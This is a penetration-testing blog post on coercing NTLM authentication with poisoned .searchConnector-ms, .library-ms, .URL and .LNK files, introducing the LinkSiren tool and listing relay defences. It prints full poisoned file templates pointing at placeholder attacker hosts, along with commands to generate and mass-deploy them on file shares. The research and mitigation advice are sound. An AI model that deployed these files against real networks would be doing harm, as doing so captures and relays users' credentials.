Files that Coerce: Search Connectors and Beyond

Inspired by a webcast on NTLM coercion from Black Hills Information Security¹, I went down the rabbit hole of file-based forced authentication. After reviewing basically every blog post, piece of Microsoft documentation, and existing tool I could find I performed testing in my home lab and created my own tool, LinkSiren, to simplify and improve the process.

TL; DR

For those without time for this whole post, here are the key points, I also recommend skimming the tables as a good reference for what different file types can do:

1. Rule of Thumb: The .searchConnector-ms file reigns supreme over all other file types (.library-ms, .URL, .LNK, .SCF, . INI, etc.). It can be used to start the WebClient service, coerce HTTP authentication, and coerce SMB authentication with one file with minimal interaction from clients. I recommend checking out the tables in this article for some quick info on this.
   Novel Finding: Placing a .searchConnector-ms file in a user’s “Desktop” directory (ex. at C:\Users\DomainAdministrator\Desktop) while the user has a graphical login will coerce authentication, in some cases over HTTP, from the user without interaction. Details of this attack will be explored in a subsequent post, but when paired with bloodhound session data it represents a viable alternative to dumping LSASS in cases where a suitable target for Net-NTLM relay, such as LDAP, is available.
2. Under-Covered Finding: Internet Shortcut (.URL) files can coerce authentication over HTTP with user interaction without the WebClient service². I’m assuming other methods of HTTP authentication coercion that take place in the browser (references to icon files in HTML pages, etc.) do the same.
   Advantages over Other Coercion Methods: Amazing tools like Coercer exist for coercing authentication from hosts over HTTP using RPC functions³. However, these tools require the WebClient service is running on the host, while some files described in this article can be used to start the service on a target without administrative access and others don’t require it at all.
3. Limitations: The WebClient service required for coercion of authentication over HTTP is only installed by default on Windows Server prior to 2008, but it is installed by default on all Windows Workstations⁴⁵. Coercing authentication over HTTP requires getting intranet-zoned by creating a DNS record or poisoning NetBIOS/LLMNR, neither of which necessarily require authentication⁶⁷. Services that require Microsoft’s Extended Protection for Authentication (EPA) or Signing/Sealing can not be relayed to²⁹. The Web Client service is deprecated¹⁰, but we can still use it for coercion 🙂

Background

Web Distributed Authoring and Versioning (WebDAV) is an extension of HTTP that lets users collaborate on files. MDSec gives a way better and more detailed explanation of WebDAV and the associated WebClient Service and WebDAV Mini-Redirector in their post¹¹, so I won’t even try to outdo them here. For the purposes of this article, the important thing to know is that some files can start the WebDAV service and some require it to be running to coerce authentication over HTTP.

Authentication Over HTTP vs SMB: In general, authentication sent over HTTP is more useful because it can be relayed to more target services, including LDAP(S), MSSQL, SMB, and HTTP(S). Additionally, HTTP authentication can be relayed even when Extended Protection for Authentication is enabled but not required. Authentication sent over SMB can only be relayed to SMB, HTTP, and MSSQL services unless Net-NTLMv1 is in use or a well-known vulnerability is unpatched. Relaying to LDAP is generally preferable because it allows for the potential to obtain NTLM hashes for all users in the domain through ACL attacks, take over a relayed user or computer account through RBCD abuse or Shadow Credentials, and perform other privilege escalation tactics like reading Local Administrator credentials stored in LAPS. The Hacker Recipes has a couple of great charts on where authentication sent over each protocol can be relayed depending on the state of various relay protections on the client and server¹². Additionally, Ryan Grunsten has a highly detailed post on the mechanics and relay protections of NTLM¹³.

Files and Their Coercive Capabilities

There are countless file types capable of coercing authentication¹⁴. I chose to investigate .searchConnector-ms and .library-ms files for their unique properties regarding coercion. In addition, many file types can be used to coerce authentication over HTTP or SMB when a user clicks on them or to coerce authentication over SMB when a user navigates to the parent folder, so I’ve selected .URL and .LNK files to examine as a representative sample.

The following table details the conditions under which each file type can coerce authentication.

File Type	Interaction Required	WebClient Required for HTTP Coercion
.searchConnector-ms	Open Parent Folder	Yes (Installed, Not Disabled)
.library-ms	Open Parent Folder	Yes (Installed, Not Disabled)
.URL	Open Parent Folder	No
.LNK	Open File	Yes (Installed, Running)

The following table describes the ability of each file type to coerce authentication and start the WebClient service if it is present on the system and not set to the startup type ‘Disabled’.

By default, the WebClient service is present on all Windows workstations, including Windows 10 and Windows 11. The WebClient service is also installed by default on Windows Servers prior to Windows Server 2008. The WebClient service can be manually installed on servers as part of the Desktop Experience feature. By default, the WebClient service is stopped and has the startup type ‘Manual (Trigger Start)’, meaning it can be started by .searchConnector-ms and .library-ms files.

File Type	Coerces SMB	Coerces HTTP	Coerces Both	Starts WebClient
.searchConnector-ms	Yes	Yes	Yes	Yes
.library-ms	Yes	Yes	Yes	Yes
.URL	Yes	Yes	No	No
.LNK	Yes	Yes	No	No

.searchConnector-ms Files

Search Connector files use the extension .searchConnector-ms and allow users to transparently browse directories stored on file shares or WebDAV servers in Explorer as if they were stored locally¹⁵. Search Connectors have interesting applications in persistence when combined with COM objects¹⁶ or in phishing and social engineering campaigns¹⁷ as part of library files (.library-ms), but are also highly effective for coercing authentication.

Search Connectors support displaying files from multiple locations. In the context of coercion, an SMB path can be used for one location and a WebDAV URL can be used for another. This allows a poisoned file to always coerce authentication over SMB and additionally coerce HTTP authentication when possible via the WebClient service. See the following Search Connector file as an example that coerces authentication over both HTTP and SMB. Note the use of the attacker hostname (not FQDN) which is required to coerce HTTP authentication. Also, in my experience specifying targets on the attacker machine (ex. test1 and test2) was necessary for reliably coercing authentication over both HTTP and SMB.

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
	<iconReference>imageres.dll,-1003</iconReference>
    <templateInfo>
        <folderType>{{91475FE5-586B-4EBA-8D75-D17434B8CDF6}}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>http://<attacker_hostname>/test1</url>
    </simpleLocation>
    <simpleLocation>
	    <url>\\<attacker_ip>\test2</url>
	</simpleLocation>
</searchConnectorDescription>

.library-ms Files

Library files use the extension .library-ms and, like Search Connector files, allow users to transparently browse directories stored on file shares or WebDAV servers in Explorer as if they were stored locally. Library files contain searchConnectorDescription elements that can be thought of as the same as Search Connector files¹⁸. For users and system administrators, Library files offer a way to bundle together Search Connectors and configure additional options, such as pinning to explorer and search filters¹⁹.

For coercing authentication, Library files are functionally equivalent to Search Connectors for coercing authentication from clients accessing folders, but unlike Search Connectors Library files do not consistently coerce authentication without interaction from target hosts where they are placed. Succinctly, if you put a Search Connector on an accessible file share, then you’ll immediately coerce authentication from the share host if the prerequisites are met. However, with a Library file, you’ll have to wait for a user on the share host to open the folder containing the Library file to coerce authentication. See the following Library file as an example:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
    <name>@windows.storage.dll,-34582</name>
    <version>6</version>
    <isLibraryPinned>true</isLibraryPinned>
    <iconReference>imageres.dll,-1003</iconReference>
    <templateInfo>
        <folderType>{{7d49d726-3c21-4f05-99aa-fdc2c9474656}}</folderType>
    </templateInfo>
    <searchConnectorDescriptionList>
        <searchConnectorDescription>
          <isDefaultSaveLocation>true</isDefaultSaveLocation>
            <isSupported>false</isSupported>
            <simpleLocation>
                <url>http://<attacker_ip>/test1</url>
            </simpleLocation>
            <simpleLocation>
                <url>\\<attacker_ip>\test2</url>
            </simpleLocation>
        </searchConnectorDescription>
    </searchConnectorDescriptionList>
</libraryDescription>

.URL Files

Internet Shortcut (.URL) files are links to internet resources, such as websites. They can be thought of as similar to browser bookmarks in file form that also support accessing files and folders over SMB. A commonly described attack involves setting the icon file for an Internet Shortcut file to a file located on an SMB share hosted by an attacker to coerce authentication from users that open the folder containing the shortcut in explorer²⁰. However, changes to Windows mean icons for Internet Shortcut files are no longer loaded from remote locations, such as SMB shares, by default and, therefore, this attack is not possible on newer versions of Windows with default configurations²¹.

Although Internet Shortcuts can’t be used to coerce SMB authentication via Icon files stored in remote locations, they do still have a use case for coercion. When a user clicks on a .URL file to an HTTP location that doesn’t contain the ‘.’ character, AKA is intranet-zoned, authentication is sent to the server over HTTP without prompting the user to authenticate. While a user must click the file for their authentication to be sent, .URL files offer the advantage that the WebClient service does not have to be present on the victim for them to send authentication since it’s performed by the browser. However, since authentication is taking place over HTTP, the browser will likely show a warning about the website not using encryption which the user must accept before authentication is sent. See the following Internet Shortcut file as an example:

[InternetShortcut]
URL=http://<attacker_ip>/test
WorkingDirectory=C:\WINDOWS\
IconIndex=153
IconFile=C:\Windows\System32\imageres.dll

.LNK Files

Shortcut (.LNK) files are similar to Internet Shortcut files, but they link to local files and resources instead of remote ones. Unlike the other files explored here, .LNK files are not stored as plaintext which makes them more difficult to build and modify in non-Windows environments.

For coercion, Shortcut files can be used to coerce SMB authentication when users browse to their parent directory by assigning them an Icon file hosted on an attacker machine. Shortcut files can also coerce HTTP authentication when a WebDAV connection string is specified for the icon (ex. \\<attacker_hostname>@80\A.ico). This is surprising because the changes that prevent the remote icon attack from working for .URL files do not seem to apply. This file offers no unique advantages over Search Connectors or Library files for coercion, but it is worth noting as an example of coercion using a remote icon file which also applies to .SCF and other file types²². Also, Shortcut files could be used in instances where the desire is to place the file on a share and coerce authentication from visitors without coercing authentication from the share host. As previously mentioned, this file is not stored as text and therefore an example is not included here. However, a template .LNK file and code to modify the bytes corresponding to the location of the remote icon within the file are available as part of the LinkSiren tool.

Performing Attacks with LinkSiren

LinkSiren is a tool I created to simplify, target, and scale attacks that use poisoned files to coerce authentication. LinkSiren includes features that drastically improve the odds of coercion through targeting and scale and significantly reduce the burden on penetration testers through automation.

The following sections provide brief descriptions of how the tool can be used to generate poisoned files locally, identify the best folders in accessible SMB shares to poison based on how often they’re used, mass-deploy poisoned files to optimal locations, mass-cleanup poisoned files once deployed. The code snippet below can be used to install LinkSiren from PyPi.

python -m pip install linksiren

Generating Payloads Locally

LinkSiren can be used to generate poisoned .searchConnector-ms, .library-ms, .url, and .lnk files in the current directory. Simply provide the payload name, including the desired extension, and the attacker IP or hostname to which authentication should be coerced. As mentioned elsewhere in this article, an attacker must be intranet-zoned and specified by hostname to coerce HTTP authentication.

# Generate a .searchConnector locally that coerces authentication
python -m linksiren generate --attacker <IP or Hostname> --payload Malicious-Connector.searchConnector-ms 

Identifying Optimal Folders for Poisoned Files

One of the most difficult task when attempting to use files to coerce authentication in large environments can be determining where to place them to maximize coercion.

Given a list of target hosts, shares, or folders, LinkSiren can crawl the targets to a specified depth, ranking each folder by the number of recently accessed files they contain. The higher the rank, the more likely a poisoned file placed in the folder to coerce authentication from a user opening the folder or clicking the file. If a host is specified, then LinkSiren will automatically identify the shares on the host and treat them as the next level of depth.

LinkSiren will then identify the highest ranked folders, up to a maximum number per specified target, and output their UNC paths to a file called folder_targets.txt.

Example Input Targets File:

\\host1.domain.tld
\\host2.domain.tld\share1
\\host3.domain.tld\share2\folder1\folder3

Identifying Targets with LinkSiren

python -m linksiren identify --targets <input targets file> [domain]/username[:password]

Mass Deploying Poisoned Files

Given the list of ideal folders to target, either output from LinkSiren’s identify mode or crafted manually, LinkSiren can be used in deploy mode to write poisoned files to all identified folders. The UNC paths to folders where payloads are successfully written are output to ‘payloads_written.txt’ for easy tracking and cleanup. Optionally, a non-default payload name and extension can be specified.

python -m linksiren deploy --targets folder_targets.txt --attacker <attacker IP> [domain]/username[:password]

Mass Cleanup of Poisoned Files

Once the attack is complete, coercion has taken place, and captured authentication has been cracked or relayed, LinkSiren makes it easy to cleanup all payloads at once.

Using the ‘payloads_written.txt’ file from the previous step and the custom payload name, if specified during deployment, all payloads can be deleted with a single command. If LinkSiren fails to delete any payload, then it outputs an alert to the console.

python -m linksiren cleanup --targets payloads_written.txt --attacker <attacker IP> [domain]/username[:password]

Steps for Defenders

After reading about the different ways authentication can be coerced using Search Connectors and other file types, a knee-jerk reaction might be to disable the WebClient service entirely on all workstations. Despite being officially deprecated, the WebClient service may be widely used in some organizations, such as for accessing SharePoint online sites without OneDrive Sync or for accessing other file services. A better avenue for securing environments is to focus on minimizing the impact of coerced and relayed authentication, since there is always likely to be a new method for coercing authentication.

The impact of relay attacks can be minimized by requiring (not just enabling) Signing and Channel Binding, a form of Extended Protection for Authentication, on all services. This will prevent an attacker from successfully relaying coerced authentication to those services, precluding an unknown vulnerability that allows them to bypass those protections. The protections detailed here may lead to compatibility issues, especially with older software, so like all changes they should be tested carefully before being enforced in production.

The following list details services and the protection that should be applied to prevent successful relay attacks, roughly in order of priority:

• LDAPS: Require channel binding²³.
• LDAP: Require signing²⁴.
• HTTP: Disable in favor of HTTPS or require signing. For AD CS²⁵, disable HTTP entirely.
• HTTPS: Require channel binding, especially for AD CS web enrollment²⁶.
  • An exception to this rule is the AdminService API associated with Microsoft Configuration Manager, which uses HTTPS. For some reason, Microsoft does not yet support channel binding for the service (as of 11/1/2024), so multi-factor authentication should be required for the service instead²⁷²⁸.
• MSSQL: Force encryption and require Extended Protection for Authentication (EPA), which includes both channel binding and the additional protection of service binding²⁹³⁰.
• SMB: Require signing³¹.
• All Other Services: In general, if TLS is in use, then channel binding should be required. Otherwise, signing should be required.

Wrap-Up

This has been a high-level look at what I believe are the best file types for coercing authentication and a new tool, LinkSiren, that helps you scale related attacks. To combat the attacks, defenders should require signing and channel binding wherever possible.

It should be noted that while the primary focus of this article is coercing Net-NTLMv2 authentication, techniques should work the same way for Kerberos authentication when DNS names. There are significantly more constraints around relaying, but it is still possible using tools such as krbrelayx.

References

1. Black Hills Information Security webcast on coercion: Coercions and Relays – The First Cred is the Deepest with Gabriel Prud’homme. ↩︎
2. James Forshaw from Google’s Project Zero team’s article on Using Kerberos for Authentication Relay Attacks ↩︎
3. Coercer uses RPC functions to coerce authentication over SMB and HTTP, but it is only capable of coercing authentication over HTTP if the WebClient service is already started and running on the target. ↩︎
4. Microsoft Documentation: Using the WebDAV Redirector. ↩︎
5. WebDAV SYSTEM’s tutorials for using WebDAV. ↩︎
6. My blog post DNS Hijacking: Say My Name covers several methods for creating a DNS record with and without authentication. ↩︎
7. The Hacker Recipes describes other methods for becoming intranet-zoned, such as using Responder for NetBIOS Name Service and LLMNR poisoning on the page WebClient abuse (WebDAV). ↩︎
8. James Forshaw from Google’s Project Zero team’s article on Using Kerberos for Authentication Relay Attacks ↩︎
9. Microsoft’s post on Extended Protection for Authentication. ↩︎
10. Microsoft officially deprecated the WebClient service in November 2023, but it is still present on all Windows Workstations, including new installations of Windows 11, in the ‘Manual (Trigger Start)’ state by default as discussed in this article. ↩︎
11. MDSec’s Farming for Red Teams: Harvesting NetNTLM featuring an in depth explanation of WebDAV and coercing HTTP authentication. ↩︎
12. The Hacker Recipes charts on NTLM relay mechanics. ↩︎
13. Ryan Grunsten’s NTLM Fully Explained for Security Professionals article provides a thorough analysis of NTLM and associated protections, which appear in the ‘Steps for Defenders’ section of this article. ↩︎
14. Osanda’s highly detailed blog post Places of Interest in Stealing NetNTLM Hashes on the many ways to coerce SMB authentication. ↩︎
15. Microsoft’s Search Connector Description Schema. ↩︎
16. F-Secure blog post on Abusing Windows Library Files for Persistence. ↩︎
17. DTM security article, Exploring Search Connectors and Library Files, covering Search Connectors and Library files covering their potential uses in phishing campaigns. ↩︎
18. Microsoft’s Library Description Schema. ↩︎
19. Microsoft’s documentation for Libraries as related to client management. ↩︎
20. Red Team Notes description of Forced Authentication Through Icons in URL files. ↩︎
21. Description of users inquiring about the change and Details of the Registry Key that must be modified to allow loading icons from remote locations for Shortcut files. ↩︎
22. The Hacker Recipes entry on Shortcut Files. ↩︎
23. Microsoft’s page Domain Controller: LDAP server channel binding token requirements details how to require LDAP channel binding and specifies it is best practice. ↩︎
24. Microsoft’s page How to enable LDAP singing in Windows Server details how to require LDAP signing via GPO and registry configuration. ↩︎
25. Microsoft’s article Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS) identifies best practice as disabling web enrollment over HTTP. ↩︎
26. Microsoft’s article Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS) identifies best practice as requiring Extended Protection for Authentication (EPA) in the form of channel binding for HTTPS web enrollment. ↩︎
27. The Misconfiguration-Manager project’s TAKEOVER-5 page details attacks on the AdminService as well as detection and prevention tactics for mitigating the attack. ↩︎
28. Microsoft’s article Enable multi-factor authentication for SMS Provider calls offers step-by-step instructions for implementing the primary defense against relay attacks targeting the Microsoft Configuration Manager’s AdminService. ↩︎
29. Compass Security’s article Relaying NTLM to MSSQL details how relay attacks against MSSQL can be performed as well as how to force encryption and require Extended Protection for Authentication. ↩︎
30. Microsoft’s article Connect to the Database Engine using Extended Protection describes the security features offered by SQL Server beginning with SQL Server 2008 R2. It includes instructions for forcing encryption and requiring Extended Protection for Authentication inclusive of channel and service binding. ↩︎
31. Microsoft’s article Control SMB signing behavior describes how to require SMB signing on systems via Group Policy Object (GPO), which is my personal recommendation, as well as via PowerShell or Windows Admin Center. ↩︎